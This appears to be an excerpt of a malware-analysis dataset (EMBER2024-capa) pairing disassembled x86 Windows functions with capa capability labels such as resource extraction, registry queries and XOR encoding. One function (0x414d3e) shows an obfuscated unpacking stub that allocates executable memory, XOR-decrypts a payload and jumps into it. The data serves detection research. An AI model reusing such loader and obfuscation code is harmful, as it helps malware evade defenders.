joyce8/EMBER2024-capa huggingface dataset:
Function at 0x418bbb
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x418c58
push ebx
push esi
call fcn.00418b84
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00417965
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x418c05
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x418c57
push edi
push eax
call fcn.004137c3
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x418c25
call fcn.00412a7b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x418c56
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00417965
add esp, 0x20
test eax, eax
jne 0x418c44
push edi
call fcn.00412a7b
jmp 0x418c4c
push ebx
call fcn.00412a7b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x41e950
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41e97d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41e97d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x420545
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0xc
sub eax, dword [esp + 0x10]
sar eax, 2
push edi
mov edi, dword [esp + 0x20]
test eax, eax
je 0x42061d
push ebx
xor ebx, ebx
push esi
mov esi, ebx
cmp dword [esp + 0x2c], ebx
jbe 0x42061b
push ebp
mov dword [esp + 0x10], ebx
mov ebp, 0x4abba8
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov al, byte [edi + esi]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
push str.Own_head
push ebp
mov byte [edi + esi], al
call fcn.004013cb
push eax
call fcn.00401eb7
mov al, byte [edi + esi]
add al, 0x4e
xor al, 0xdc
push str.Earth
push ebp
mov byte [edi + esi], al
call fcn.004013cb
push eax
call fcn.00401eb7
mov al, byte [edi + esi]
xor al, 0xac
sub al, 0x65
xor al, 0x22
sub al, 0x73
push 0x421548
mov byte [edi + esi], al
call fcn.0040d3de
add esp, 0x1c
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x10]
push eax
push ebx
call fcn.00401920
mov ecx, dword [esp + 0x10]
mov al, byte [ecx]
xor byte [edi + esi], al
mov eax, dword [esp + 0x18]
sub eax, ecx
and eax, 0xfffffffc
push eax
push ecx
call fcn.00401800
inc esi
mov dword [esp + 0x18], ebx
pop ecx
pop ecx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
cmp esi, dword [esp + 0x30]
jb 0x420582
pop ebp
pop esi
pop ebx
lea ecx, [esp + 0x14]
call fcn.0040433b
pop edi
add esp, 0xc
ret 0x14

Function at 0x42062d
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push eax
push 0x420649
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
ret
Function at 0x401294
Capabilities:
Access peb ldr_data

Disassembly:
jmp 0x419c40
push 0xffffffffffffffff
push 0x4a3202
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov esi, ecx
xor edi, edi
push 0x68
mov dword [esi + 0x80], edi
mov dword [esi + 0x1c], edi
call fcn.00467d5d
add esp, 4
mov dword [esp + 8], eax
cmp eax, edi
mov dword [esp + 0x38], edi
je 0x419c9a
push 0x4ab7e8
push 0x4ab530
push 0x4ab6d0
push 0x80
mov ecx, eax
call fcn.0046fbe7
jmp 0x419c9c
xor eax, eax
or edi, 0xffffffff
push eax
mov ecx, esi
mov dword [esp + 0x3c], edi
call fcn.004768f4
lea ecx, [esp + 0xc]
call fcn.0048720b
lea eax, [esp + 0xc]
mov ecx, esi
push eax
mov dword [esp + 0x3c], 1
call fcn.004871b8
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
call fcn.004875eb
test eax, eax
je 0x419cef
mov ecx, dword [esi + 0x1c]
push 3
call fcn.00467227
mov esi, dword [esi + 0x1c]
mov edx, dword [esi + 0x1c]
push edx
call dword [sym.imp.USER32.dll_UpdateWindow]
lea ecx, [esp + 0xc]
mov dword [esp + 0x38], edi
call fcn.00487266
mov ecx, dword [esp + 0x30]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret
Function at 0x401532
Capabilities:
Access peb ldr_data

Disassembly:
jmp 0x423d30
push 0xffffffffffffffff
push 0x4a42b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov eax, dword [0x4cc304]
xor esi, esi
mov dword [esp + 0x38], esi
mov dword [esp + 0x14], eax
mov ecx, dword [edi + 0x68]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push esi
push esi
push 0x1009
push ecx
mov byte [esp + 0x48], 1
mov dword [esp + 0x20], esi
call ebp
lea ecx, [esp + 0x40]
call fcn.00401a91
test eax, eax
jle 0x423dae
lea ebx, [edi + 0x4c]
push 0
push 0
push 0
push 0
push 0x4d26c0
push esi
push 1
mov ecx, ebx
call fcn.0045be8c
lea ecx, [esp + 0x40]
inc esi
call fcn.00401a91
cmp esi, eax
jl 0x423d89
lea ecx, [esp + 0x40]
xor ebx, ebx
call fcn.00401a91
test eax, eax
jle 0x423e46
push ebx
lea ecx, [esp + 0x44]
call fcn.0040150f
lea ecx, [esp + 0x40]
xor esi, esi
call fcn.00401438
test eax, eax
jle 0x423e34
push ecx
lea ecx, [esp + 0x44]
mov edx, esp
mov dword [esp + 0x20], esp
push esi
push edx
call fcn.0040110e
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x44]
push eax
call fcn.00401429
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x3c], 2
call fcn.004677c5
lea ecx, [esp + 0x18]
mov byte [esp + 0x38], 1
call fcn.0046768c
mov ecx, dword [esp + 0x14]
push ecx
push esi
push ebx
lea ecx, [edi + 0x4c]
call fcn.0045bf87
lea ecx, [esp + 0x40]
inc esi
call fcn.00401438
cmp esi, eax
jl 0x423dda
lea ecx, [esp + 0x40]
inc ebx
call fcn.00401a91
cmp ebx, eax
jl 0x423dc1
lea ecx, [esp + 0x40]
xor esi, esi
call fcn.00401438
test eax, eax
jle 0x423e74
mov edx, dword [edi + 0x68]
push 0xffff
push esi
push 0x101e
push edx
call ebp
lea ecx, [esp + 0x40]
inc esi
call fcn.00401438
cmp esi, eax
jl 0x423e55
lea ecx, [esp + 0x40]
xor esi, esi
call fcn.00401438
test eax, eax
jle 0x423ecc
mov eax, dword [edi + 0x68]
push 0
push esi
push 0x101d
push eax
call ebp
mov ecx, dword [edi + 0x68]
add eax, 0x14
and eax, 0xffff
push eax
push esi
push 0x101e
push ecx
call ebp
mov edx, dword [edi + 0x68]
push 0
push esi
push 0x101d
push edx
call ebp
mov ebx, dword [esp + 0x10]
lea ecx, [esp + 0x40]
add ebx, eax
inc esi
mov dword [esp + 0x10], ebx
call fcn.00401438
cmp esi, eax
jl 0x423e83
mov ecx, dword [edi + 0x68]
lea eax, [esp + 0x20]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x10]
add edi, 0x494
mov byte [esp + 0x38], 0
lea ecx, [eax + edx]
mov dword [edi], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0x28], ecx
mov dword [edi + 4], eax
mov dword [edi + 8], ecx
mov ecx, dword [esp + 0x2c]
mov dword [edi + 0xc], ecx
lea ecx, [esp + 0x14]
call fcn.0046768c
lea ecx, [esp + 0x40]
mov dword [esp + 0x38], 0xffffffff
call fcn.00401226
mov ecx, dword [esp + 0x30]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x2c
ret 0xc
Function at 0x40155f
Capabilities:
Reference sql statements

Disassembly:
jmp 0x404c00
push 0xffffffffffffffff
push 0x49e8bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov eax, dword [0x4cc304]
push ebp
push esi
push edi
mov esi, ecx
mov dword [esp + 0x18], eax
mov dword [esp + 0x28], 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
lea eax, [esp + 0x14]
lea ecx, [esi + 0xfc]
push eax
mov byte [esp + 0x2c], 3
call fcn.00464191
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esi + 0xb0]
call fcn.00464191
lea edx, [esp + 0xc]
lea ecx, [esi + 0x70]
push edx
call fcn.00464191
mov eax, dword [esi + 0x138]
push 0x4ca410
push eax
call fcn.004340d6
add esp, 8
test eax, eax
jne 0x404ca6
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
push eax
mov eax, dword [esi + 0x6c]
push ecx
push edx
push eax
lea ecx, [esp + 0x28]
push str.SELECT__FROM__s_WHERE__s__s__s
push ecx
jmp 0x404d2f
mov eax, dword [esi + 0x138]
push 0x4ca34c
push eax
call fcn.004340d6
add esp, 8
test eax, eax
jne 0x404d12
mov edx, dword [esp + 0x10]
push 0x4ca3e0
push edx
call fcn.004340d6
add esp, 8
test eax, eax
je 0x404cf3
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
push eax
mov eax, dword [esi + 0x6c]
push ecx
push edx
push eax
lea ecx, [esp + 0x28]
push 0x4ca3b8
push ecx
jmp 0x404d2f
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
push edx
mov edx, dword [esi + 0x6c]
push eax
push ecx
push edx
lea eax, [esp + 0x28]
push str.SELECT__FROM__s_WHERE__s__s__s__
push eax
jmp 0x404d2f
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
push ecx
mov ecx, dword [esi + 0x6c]
push edx
push eax
push ecx
lea edx, [esp + 0x28]
push 0x4ca3b8
push edx
call fcn.004581f4
mov eax, dword [esi + 0x138]
add esp, 0x18
push 0x4ca384
push eax
call fcn.004340d6
add esp, 8
test eax, eax
jne 0x404d6f
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x14]
mov edx, dword [esi + 0x6c]
push eax
push ecx
push edx
lea eax, [esp + 0x24]
push str.SELECT__FROM__s_WHERE__s_LIKE__s__
push eax
call fcn.004581f4
add esp, 0x14
push 1
push ecx
lea edx, [esp + 0x20]
mov ecx, esp
mov dword [esp + 0x24], esp
push edx
call fcn.00467401
lea edi, [esi + 0x708]
mov ecx, edi
call fcn.00401749
sub esp, 0xc
lea eax, [edi + 4]
mov ebp, esp
mov dword [esp + 0x28], esp
push eax
mov dword [esp + 0x2c], ebp
lea ecx, [ebp + 4]
call fcn.00467401
mov edi, dword [edi + 8]
mov byte [esp + 0x34], 4
test edi, edi
mov dword [ebp + 8], edi
je 0x404dbd
mov ecx, dword [edi]
push edi
call dword [ecx + 4]
lea ecx, [esi + 0x148]
mov dword [ebp], 0x4a9758
mov byte [esp + 0x34], 3
call fcn.00401785
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 2
call fcn.0046768c
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 1
call fcn.0046768c
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 0
call fcn.0046768c
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], 0xffffffff
call fcn.0046768c
mov ecx, dword [esp + 0x20]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebp
add esp, 0x20
ret
Function at 0x401a14
Capabilities:
Access peb ldr_data

Disassembly:
jmp 0x41f5a0
push 0xffffffffffffffff
push 0x4a3a25
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x12c
mov eax, dword [0x4cc304]
push ebx
xor ebx, ebx
push esi
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
lea edx, [esp + 0x10]
lea ecx, [esp + 0x30]
push edx
mov dword [esp + 0x140], 1
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x20], 0x4cbde4
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x24], 1
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call dword [sym.imp.SHELL32.dll_SHBrowseForFolderA]
cmp eax, ebx
je 0x41f625
lea ecx, [esp + 0x30]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
test eax, eax
je 0x41f633
lea edx, [esp + 0x30]
push edx
jmp 0x41f62a
push 0x4d26c0
lea ecx, [esp + 0xc]
call fcn.00467815
mov esi, dword [esp + 0x144]
lea eax, [esp + 8]
push eax
mov ecx, esi
call fcn.00467401
mov dword [esp + 0xc], 1
lea ecx, [esp + 8]
mov byte [esp + 0x13c], bl
call fcn.0046768c
mov ecx, dword [esp + 0x134]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x138
ret
Function at 0x42911e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x14], edi
mov ebx, ecx
je 0x42915c
call fcn.00486df0
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x42915c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x429173
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push 1
test edi, edi
pop eax
je 0x429173
push dword [esp + 0x18]
mov eax, dword [ebx]
mov ecx, ebx
push edi
push dword [esp + 0x18]
call dword [eax + 0x1c]
pop edi
pop esi
pop ebx
ret 0xc
Function at 0x44bd50
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.004345a0
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x44be1b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x44be1b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x44bdce
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x44bdd9
or bh, 8
and edi, 0x8000000
je 0x44bdf4
mov eax, dword [0x4d755c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x44be1b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44c1f0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x44c21b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x44c23f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x44c25a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x4629d9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x4629fb
cmp dword [edi + 0x3c], 0
jne 0x4629fb
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.00486df0
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.00462a3a
pop edi
pop esi
pop ebx
ret 8

Function at 0x462a9e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
call fcn.00486df0
mov esi, dword [eax + 0xc]
push 5
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x462acf
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push esi
mov ecx, ebx
push dword [esp + 0x18]
push edi
call fcn.00462af4
pop edi
pop esi
pop ebx
ret 8

Function at 0x464191
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4641c9
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00467b33
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00467b0b
jmp 0x4641d5
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x465f93
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x465fd5
call fcn.00486df0
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x465fd5
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x465fcc
xor eax, eax
jmp 0x465fdd
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00465fe3
pop edi
pop esi
pop ebx
ret 4
Function at 0x4883e2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov dword [ebp - 8], ecx
call fcn.00486df0
mov esi, dword [eax + 0xc]
push 0xf1
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x48841f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x48841f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x488423
xor eax, eax
jmp 0x4884a1
movzx eax, word [esi + 6]
push ebx
push edi
shl eax, 2
push eax
call fcn.00467d5d
and dword [ebp - 4], 0
cmp word [esi + 6], 0
pop ecx
mov ebx, eax
jbe 0x48845b
mov ecx, ebx
lea eax, [esi + 8]
movzx edx, word [eax]
inc dword [ebp - 4]
mov dword [ecx], edx
movzx edx, word [esi + 6]
inc eax
add ecx, 4
inc eax
cmp dword [ebp - 4], edx
jl 0x488445
movzx eax, word [esi + 6]
mov ecx, dword [ebp - 8]
push eax
push ebx
call fcn.004885a6
push ebx
mov edi, eax
call fcn.00467d86
test edi, edi
pop ecx
je 0x48849d
movzx ecx, word [esi + 4]
movzx eax, word [esi + 2]
lea esi, [ecx + 7]
push ecx
mov ecx, dword [ebp - 8]
lea edx, [eax + 7]
push eax
push esi
push edx
call fcn.004882f8
push dword [ebp + 8]
mov ecx, dword [ebp - 8]
call fcn.004884a6
mov edi, eax
mov eax, edi
pop edi
pop ebx
pop esi
leave
ret 4

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x414d3e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x414d4d
pop dword [ebp - 0x1c]
mov eax, 0x414d4d
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x6fa70a60
sub dword [ebp - 0x2c], 0x2154c515
mov dword [ebp - 0x28], 0x3603353f
sub dword [ebp - 0x28], 0x3cfe8fa
mov dword [ebp - 0x24], 0x4813e2b9
add dword [ebp - 0x24], 0x4386175
mov dword [ebp - 0x20], 0xabdc10ad
add dword [ebp - 0x20], 0x5423ef53
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x3eaf71c6
sub eax, 0x3e6d4152
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xc5dce417
sub dword [ebp - 0x2c], 0x516a7ac1
mov dword [ebp - 0x28], 0x4e52d2a6
sub dword [ebp - 0x28], 0xce67131
mov dword [ebp - 0x24], 0x8f697839
add dword [ebp - 0x24], 0xd405f433
mov dword [ebp - 0x20], 0x62af8572
sub dword [ebp - 0x20], 0x62af8572
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x12bb786e
sub eax, 0x1279474a
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3dfda
push 0
call eax
mov ecx, 0xb8381399
add ecx, 0x47c8355c
mov ebx, eax
mov esi, 0x434400
add esi, dword [ebp - 0x1c]
mov edi, 0xa1d042c5
sub edi, 0x8630811f
xor dword [ebp - 4], edx
mov edx, dword [esi]
sub dword [ebp - 0x18], 0x66b2d36c
xor edx, edi
add dword [ebp - 0xc], ecx
mov dword [ebx], edx
mov dword [ebp - 0xc], 0x63182f5c
add ebx, 4
add esi, 0xcbeb8ed2
add esi, 0x34147132
loop 0x414e64
add eax, 0x5d832121
sub eax, 0x5d820a7a
xor ebx, ebx
add ebx, eax
add eax, 0xc3699fb4
add eax, 0x3c966051
mov ecx, 0xb4e308e8
add ecx, 0x4b5cf718
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x10081080
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [esp + 0x10]
mov ecx, edi
push 0
mov dword [esi], 0x10009684
lea eax, [esi + 0x30]
mov dword [esi + 0x24], eax
lea eax, [esi + 0x88]
mov dword [esi + 0x20], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0x40
mov dword [esi + 0x7c], eax
mov dword [esi + 0x78], 0
mov dword [esi + 0x80], 0
mov dword [esi + 0x84], 0x40
mov dword [esi + 4], edi
mov dword [esi + 8], 0
mov dword [esi + 0x14], 0xffffffff
mov dword [esi + 0x70], 0
mov eax, dword [edi]
call dword [eax + 0x3c]
mov ecx, eax
call fcn.10089180
push 0x63c
mov eax, dword [eax + 8]
movzx ebx, byte [eax + 5]
and ebx, 1
call fcn.10118972
add esp, 4
test eax, eax
je 0x1008111a
mov ecx, eax
call fcn.10080f20
jmp 0x1008111c
xor eax, eax
mov dword [esi + 0xc], eax
test eax, eax
jne 0x1008113b
mov ecx, dword [esp + 0x14]
push 1
push 0xfffffc0d
call fcn.10062940
pop edi
mov eax, esi
pop esi
pop ebx
ret 8
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0x38]
push dword [esp + 0x14]
mov ecx, dword [esi + 0xc]
push 0x40000
push ebx
push dword [eax + 0xc]
call fcn.1007bfb0
mov eax, dword [esi + 0xc]
pop edi
inc dword [eax]
mov eax, dword [esi + 0xc]
mov eax, dword [eax + 0x18]
mov dword [esi + 0x10], eax
mov eax, esi
pop esi
pop ebx
ret 8

Function at 0x10082c20
Capabilities:
Get hostname

Disassembly:
mov eax, dword [esp + 8]
push esi
mov dword [esp + 0xc], eax
mov esi, ecx
lea eax, [esp + 0xc]
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x10082c49
push dword [esp + 0x10]
mov ecx, esi
call fcn.100827f0
pop esi
ret 0xc

Function at 0x10082cb0
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
push ebp
mov ebp, dword [esp + 0x1c]
mov ecx, reloc.mswstr10.dll_Ordinal_2
push esi
push edi
xor edi, edi
mov esi, 1
mov eax, dword [ebp]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x14]
test eax, eax
cmove eax, ecx
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x10082d03
cmp byte [ecx], 0
je 0x10082d03
lea edx, [esp + 0x24]
push edx
push 0x20019
push edi
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x10082d4e
lea edi, [eax + 1]
mov eax, dword [esp + 0x24]
jmp 0x10082d07
mov dword [esp + 0x24], eax
test eax, eax
je 0x10082d43
push ebx
mov ebx, dword [esp + 0x24]
lea ecx, [esp + 0x18]
push ebp
push ebx
push ecx
push 0
push dword [esp + 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, eax
mov eax, dword [ebp]
cmp eax, dword [esp + 0x10]
jae 0x10082d3e
cmp dword [esp + 0x18], 1
jne 0x10082d3e
test esi, esi
jne 0x10082d3e
mov byte [eax + ebx], 0
mov eax, dword [esp + 0x28]
pop ebx
test edi, edi
je 0x10082d4e
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
pop edi
pop esi
sete al
pop ebp
pop ecx
ret 0x14